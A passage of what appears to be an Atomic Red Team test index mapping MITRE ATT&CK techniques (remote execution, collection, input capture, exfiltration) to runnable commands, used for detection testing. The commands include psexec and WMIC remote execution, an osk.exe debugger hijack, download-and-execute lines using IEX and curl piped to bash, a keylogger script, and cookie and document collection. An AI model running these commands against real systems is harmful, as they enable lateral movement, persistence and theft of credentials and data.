command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password}
/u:#{user_name}"
'
- name: Map Admin Share PowerShell
description: 'Map Admin share utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
share_name:
description: Examples C$, IPC$, Admin$
type: String
default: C$
computer_name:
description: Target Computer Name
type: String
default: Target
map_name:
description: Mapped Drive Letter
type: String
default: g
executor:
name: powershell
elevation_required: false
command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
'
T1028:
technique:
x_mitre_data_sources:
- File monitoring
- Authentication logs
- Netflow/Enclave netflow
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Windows Remote Management
description: 'Windows Remote Management (WinRM) is the name of both a Windows
service and a protocol that allows a user to interact with a remote system
(e.g., run an executable, modify the Registry, modify services). (Citation:
Microsoft WinRM) It may be called with the winrm command or by
any number of programs such as PowerShell. (Citation: Jacobsen 2014)'
x_mitre_remote_support: true
id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- WinRM listener turned on and configured on remote system
type: attack-pattern
x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service
execution. If it is not normally used or is disabled, then this may be an
indicator of suspicious behavior. Monitor processes created and actions taken
by the WinRM process or a WinRM invoked script to correlate it with other
related events. (Citation: Medium Detecting Lateral Movement)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:33.723Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1028
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1028
- source_name: capec
external_id: CAPEC-555
url: https://capec.mitre.org/data/definitions/555.html
- source_name: Microsoft WinRM
description: Microsoft. (n.d.). Windows Remote Management. Retrieved November
12, 2014.
url: http://msdn.microsoft.com/en-us/library/aa384426
- description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides].
Retrieved November 12, 2014.
source_name: Jacobsen 2014
url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2
- description: French, D. (2018, September 30). Detecting Lateral Movement Using
Sysmon and Splunk. Retrieved October 11, 2019.
source_name: Medium Detecting Lateral Movement
url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
modified: '2019-10-15T18:44:56.438Z'
identifier: T1028
atomic_tests:
- name: Enable Windows Remote Management
description: 'Powershell Enable WinRM
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: 'Enable-PSRemoting -Force
'
- name: PowerShell Lateral Movement
description: |
Powershell lateral movement using the mmc20 application com object
Reference:
https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/
supported_platforms:
- windows
input_arguments:
computer_name:
description: Name of Computer
type: string
default: computer1
executor:
name: command_prompt
command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe",
$null, $null, "7")
'
- name: WMIC Process Call Create
description: 'Utilize WMIC to start remote process
'
supported_platforms:
- windows
input_arguments:
user_name:
description: Username
type: String
default: DOMAIN\Administrator
password:
description: Password
type: String
default: P@ssw0rd1
computer_name:
description: Target Computer Name
type: String
default: Target
executor:
name: command_prompt
command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name}
process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\"
/t REG_SZ /d \"cmd.exe\" /f"
'
- name: Psexec
description: 'Utilize psexec to start remote process
'
supported_platforms:
- windows
input_arguments:
user_name:
description: Username
type: String
default: DOMAIN\Administrator
password:
description: Password
type: String
default: P@ssw0rd1
computer_name:
description: Target Computer Name
type: String
default: Target
executor:
name: command_prompt
command: 'psexec \\host -u domain\user -p password -s cmd.exe
'
- name: Invoke-Command
description: 'Execute Invoke-command on remote host
'
supported_platforms:
- windows
input_arguments:
host_name:
description: Remote Windows Host Name
type: String
default: Test
remote_command:
description: Command to execute on remote Host
type: String
default: ipconfig
executor:
name: powershell
command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}}
'
collection:
T1123:
technique:
x_mitre_data_sources:
- API monitoring
- Process monitoring
- File monitoring
x_mitre_permissions_required:
- User
name: Audio Capture
description: |-
An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.
id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:34.528Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1123
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1123
- source_name: capec
external_id: CAPEC-634
url: https://capec.mitre.org/data/definitions/634.html
modified: '2019-06-18T13:16:53.385Z'
identifier: T1123
atomic_tests:
- name: SourceRecorder via Windows command prompt
description: 'Create a file called test.wma, with the duration of 30 seconds
'
supported_platforms:
- windows
input_arguments:
output_file:
description: Path to the recording file being captured
type: Path
default: test.wma
duration_hms:
description: Duration of audio to be recorded (in h:m:s format)
type: Path
default: 30
executor:
name: command_prompt
elevation_required: false
command: 'SoundRecorder /FILE #{output_file} /DURATION #{duration_hms}
'
- name: PowerShell Cmdlet via Windows command prompt
description: "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n"
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
'
T1119:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- File monitoring
- Data loss prevention
- Process command-line parameters
name: Automated Collection
description: "Once established within a system or network, an adversary may
use automated techniques for collecting internal data. Methods for performing
this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064)
to search for and copy information fitting set criteria such as file type,
location, or name at specific time intervals. This functionality could also
be built into remote access tools. \n\nThis technique may incorporate use
of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)
and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify
and move files."
id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Permissions to access directories and files that store information of interest.
type: attack-pattern
x_mitre_detection: Depending on the method used, actions could include common
file system commands and parameters on the command-line interface within batch
files or scripts. A sequence of actions like this may be unusual, depending
on the system and network environment. Automated collection may occur along
with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074).
As such, file access monitoring that shows an unusual process performing sequential
file opens and potentially copy actions to another location on the file system
for many files at once may indicate automated collection behavior. Remote
access tools with built-in features may interact directly with the Windows
API to gather data. Data may also be acquired through Windows system management
tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:27.985Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1119
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1119
modified: '2019-07-16T19:44:07.942Z'
identifier: T1119
atomic_tests:
- name: Automated Collection Command Prompt
description: 'Automated Collection
'
supported_platforms:
- windows
executor:
name: command_prompt
command: |
dir c: /b /s .docx | findstr /e .docx
for /R c: %f in (*.docx) do copy %f c:\temp\
- name: Automated Collection PowerShell
description: 'Automated Collection
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: 'Get-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName
-destination c:\temp}
'
T1115:
technique:
x_mitre_data_sources:
- API monitoring
name: Clipboard Data
description: "Adversaries may collect data stored in the Windows clipboard from
users copying information within or between applications. \n\n### Windows\n\nApplications
can access clipboard data by using the Windows API. (Citation: MSDN Clipboard)
\n\n### Mac\n\nOSX provides a native command, pbpaste, to grab
clipboard contents (Citation: Operating with EmPyre)."
id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f
x_mitre_platforms:
- Linux
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Access to the clipboard is a legitimate function of many
applications on a Windows system. If an organization chooses to monitor for
this behavior, then the data will likely need to be correlated against other
suspicious or non-user-driven activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:25.967Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1115
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1115
- source_name: capec
external_id: CAPEC-637
url: https://capec.mitre.org/data/definitions/637.html
- source_name: MSDN Clipboard
description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.
url: https://msdn.microsoft.com/en-us/library/ms649012
- source_name: Operating with EmPyre
description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July
12, 2017.
url: http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/
modified: '2019-06-18T13:18:33.324Z'
identifier: T1115
atomic_tests:
- name: Utilize Clipboard to store or execute commands from
description: 'Add data to clipboard to copy off or execute commands from.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
dir | clip
clip < readme.txt
- name: PowerShell
description: 'Utilize PowerShell to echo a command to clipboard and execute
it
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
echo Get-Process | clip
Get-Clipboard | iex
T1074:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: Data Staged
description: |-
Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022).
Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e
x_mitre_platforms:
- Linux
- macOS
- Windows
- AWS
- GCP
- Azure
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
- Shane Tully, @securitygypsy
created: '2017-05-31T21:30:58.938Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1074
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1074
modified: '2019-10-09T21:09:00.992Z'
identifier: T1074
atomic_tests:
- name: Stage data from Discovery.bat
description: 'Utilize powershell to download discovery.bat and save to a local
file
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: 'IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat'')
> pi.log
'
- name: Stage data from Discovery.sh
description: 'Utilize curl to download discovery.sh and execute a basic information
gathering shell script
'
supported_platforms:
- linux
- macos
executor:
name: bash
command: curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.sh
| bash -s > /tmp/discovery.log
'':
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Process monitoring
- File monitoring
- API monitoring
name: Video Capture
description: |-
An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.
In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf
x_mitre_platforms:
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-05-31T21:31:37.917Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1125
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1125
- source_name: capec
external_id: CAPEC-634
url: https://capec.mitre.org/data/definitions/634.html
- source_name: objective-see 2017 review
description: Patrick Wardle. (n.d.). Retrieved March 20, 2018.
url: https://objective-see.com/blog/blog_0x25.html
modified: '2019-07-17T21:14:04.412Z'
atomic_tests: []
T1005:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
type: attack-pattern
name: Data from Local System
description: |
Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.
Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
id: attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5
x_mitre_platforms:
- Linux
- macOS
- Windows
- GCP
- AWS
- Azure
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- Privileges to access certain files and directories
x_mitre_detection: Monitor processes and command-line arguments for actions
that could be taken to collect files from a system. Remote access tools with
built-in features may interact directly with the Windows API to gather data.
Data may also be acquired through Windows system management tools such as
[Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-05-31T21:30:20.537Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1005
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1005
modified: '2019-10-04T22:05:50.580Z'
identifier: T1005
atomic_tests:
- name: Search macOS Safari Cookies
description: 'This test uses `grep` to search a macOS Safari binaryCookies file
for specified values. This was used by CookieMiner malware.
'
supported_platforms:
- macos
input_arguments:
search_string:
description: String to search Safari cookies to find.
type: string
default: coinbase
executor:
name: sh
elevation_required: false
command: |
cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"
T1114:
technique:
x_mitre_data_sources:
- Office 365 trace logs
- Mail server
- Email gateway
- Authentication logs
- File monitoring
- Process monitoring
- Process use of network
x_mitre_permissions_required:
- User
name: Email Collection
description: "Adversaries may target user email to collect sensitive information
from a target.\n\nFiles containing email data can be acquired from a user's
system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries
may leverage a user's credentials and interact directly with the Exchange
server to acquire information from within a network. Adversaries may also
access externally facing Exchange services or Office 365 to access email using
credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413)
can be used to automate searches for specific key words.(Citation: Black Hills
MailSniper, 2017)\n\n### Email Forwarding Rule\n\nAdversaries may also abuse
email-forwarding rules to monitor the activities of a victim, steal information,
and further gain intelligence on the victim or the victim’s organization to
use as part of further exploits or operations.(Citation: US-CERT TA18-068A
2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules
for various email functions, including forwarding to a different recipient.
Messages can be forwarded to internal or external recipients, and there are
no restrictions limiting the extent of this rule. Administrators may also
create forwarding rules for user accounts with the same considerations and
outcomes.(Citation: TIMMCMIC, 2014)\n\nAny user or administrator within the
organization (or adversary with valid credentials) can create rules to automatically
forward all received messages to another recipient, forward emails to different
locations based on the sender, and more. "
id: attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f
x_mitre_platforms:
- Windows
- Office 365
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.
File access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.
Monitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.
Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)
created: '2017-05-31T21:31:25.454Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1114
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1114
- description: Bullock, B.. (2017, April 21). Abusing Exchange Mailbox Permissions
with MailSniper. Retrieved October 4, 2019.
source_name: Black Hills MailSniper, 2017
url: https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/
- description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
by Cyber Actors. Retrieved October 2, 2019.
source_name: US-CERT TA18-068A 2018
url: https://www.us-cert.gov/ncas/alerts/TA18-086A
- description: 'Search Results Web Result with Site Links Tim McMichael. (2014,
July 28). Exchange and Office 365: Mail Forwarding. Retrieved August 27,
2019.'
source_name: TIMMCMIC, 2014
url: https://blogs.technet.microsoft.com/timmcmic/2014/07/28/exchange-and-office-365-mail-forwarding/
- description: McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding.
Retrieved October 8, 2019.
source_name: Microsoft Tim McMichael Exchange Mail Forwarding 2
url: https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/
modified: '2019-10-08T20:59:13.652Z'
identifier: T1114
atomic_tests:
- name: T1114 Email Collection with PowerShell
description: 'Search through local Outlook installation, extract mail, compress
the contents, and saves everything to a directory for later exfiltration.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
Display email contents in the terminal
PS C:\> .\Get-Inbox.ps1
Write emails out to a CSV
PS C:\> .\Get-Inbox.ps1 -file "mail.csv"
Download and Execute
"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114/Get-Inbox.ps1')"
T1056:
technique:
x_mitre_data_sources:
- Windows Registry
- Kernel drivers
- Process monitoring
- API monitoring
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Input Capture
description: |-
Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)
Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.
Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)
id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- John Lambert, Microsoft Threat Intelligence Center
created: '2017-05-31T21:30:48.323Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1056
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1056
- source_name: capec
external_id: CAPEC-568
url: https://capec.mitre.org/data/definitions/568.html
- source_name: Adventures of a Keystroke
description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth
look into keyloggers on Windows. Retrieved April 27, 2016.'
url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
- source_name: Wrightson 2012
description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS
AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014.
url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/
- source_name: Volexity Virtual Private Keylogging
description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
modified: '2019-06-18T13:33:08.842Z'
identifier: T1056
atomic_tests:
- name: Input Capture
description: |
Utilize PowerShell and external resource to capture keystrokes
[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056/Get-Keystrokes.ps1)
Provided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)
supported_platforms:
- windows
input_arguments:
filepath:
description: Name of the local file, include path.
type: Path
default: c:\key.log
executor:
name: powershell
command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n"
T1113:
technique:
x_mitre_data_sources:
- API monitoring
- Process monitoring
- File monitoring
name: Screen Capture
description: |-
Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.
### Mac
On OSX, the native command screencapture is used to capture screenshots.
### Linux
On Linux, there is the native command xwd. (Citation: Antiquated Mac Malware)
id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitoring for screen capture behavior will depend on the
method used to obtain data from the operating system and write output files.
Detection methods could include collecting information from unusual processes
using API calls used to obtain image data, and monitoring for image files
written to disk. The sensor data may need to be correlated with other events
to identify malicious activity, depending on the legitimacy of this behavior
within a given network environment.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:25.060Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: collection
external_references:
- external_id: T1113
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1113
- source_name: capec
external_id: CAPEC-648
url: https://capec.mitre.org/data/definitions/648.html
- source_name: Antiquated Mac Malware
description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
code. Retrieved July 5, 2017.
url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
modified: '2019-06-18T13:58:28.377Z'
identifier: T1113
atomic_tests:
- name: Screencapture
description: 'Use screencapture command to collect a full desktop screenshot
'
supported_platforms:
- macos
input_arguments:
output_file:
description: Output file path
type: Path
default: desktop.png
executor:
name: bash
elevation_required: false
command: screencapture
- name: Screencapture (silent)
description: 'Use screencapture command to collect a full desktop screenshot
'
supported_platforms:
- macos
input_arguments:
output_file:
description: Output file path
type: Path
default: desktop.png
executor:
name: bash
elevation_required: false
command: screencapture -x
- name: X Windows Capture
description: 'Use xwd command to collect a full desktop screenshot and review
file with xwud
'
supported_platforms:
- linux
input_arguments:
output_file:
description: Output file path
type: Path
default: desktop.xwd
executor:
name: bash
command: |
xwd -root -out #{output_file}
xwud -in #{output_file}
- name: Import
description: 'Use import command to collect a full desktop screenshot
'
supported_platforms:
- linux
input_arguments:
output_file:
description: Output file path
type: Path
default: desktop.png
executor:
name: bash
command: import -window root
exfiltration:
'':
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Stackdriver logs
- Azure activity logs
- AWS CloudTrail logs
name: Transfer Data to Cloud Account
description: "An adversary may exfiltrate data by transferring the data, including
backups of cloud environments, to another cloud account they control on the
same service to avoid typical file transfers/downloads and network-based exfiltration
detection.\n\nA defender who is monitoring for large transfers to outside
the cloud environment through normal file transfers or over command and control
channels may not be watching for data transfers to another account within
the same cloud provider. Such transfers may utilize existing cloud provider
APIs and the internal address space of the cloud provider to blend into normal
traffic or avoid data transfers over external network interfaces.\n\nIncidents
have been observed where adversaries have created backups of cloud instances
and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul
2018) "
id: attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6
x_mitre_contributors:
- Praetorian
x_mitre_platforms:
- Azure
- AWS
- GCP
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Monitor account activity for attempts to share data, snapshots,
or backups with untrusted or unusual accounts on the same cloud service provider.
Monitor for anomalous file transfer activity between accounts and to untrusted
VPCs. '
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_network_requirements: true
created: '2019-08-30T13:03:04.038Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: exfiltration
external_references:
- source_name: mitre-attack
external_id: T1537
url: https://attack.mitre.org/techniques/T1537
- description: Mueller, R. (2018, July 13). Indictment - United States of America
vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.
source_name: DOJ GRU Indictment Jul 2018
url: https://www.justice.gov/file/1080281/download
modified: '2019-10-23T14:26:32.962Z'
atomic_tests: []
T1002:
technique:
x_mitre_data_sources:
- Binary file metadata
- File monitoring
- Process command-line parameters
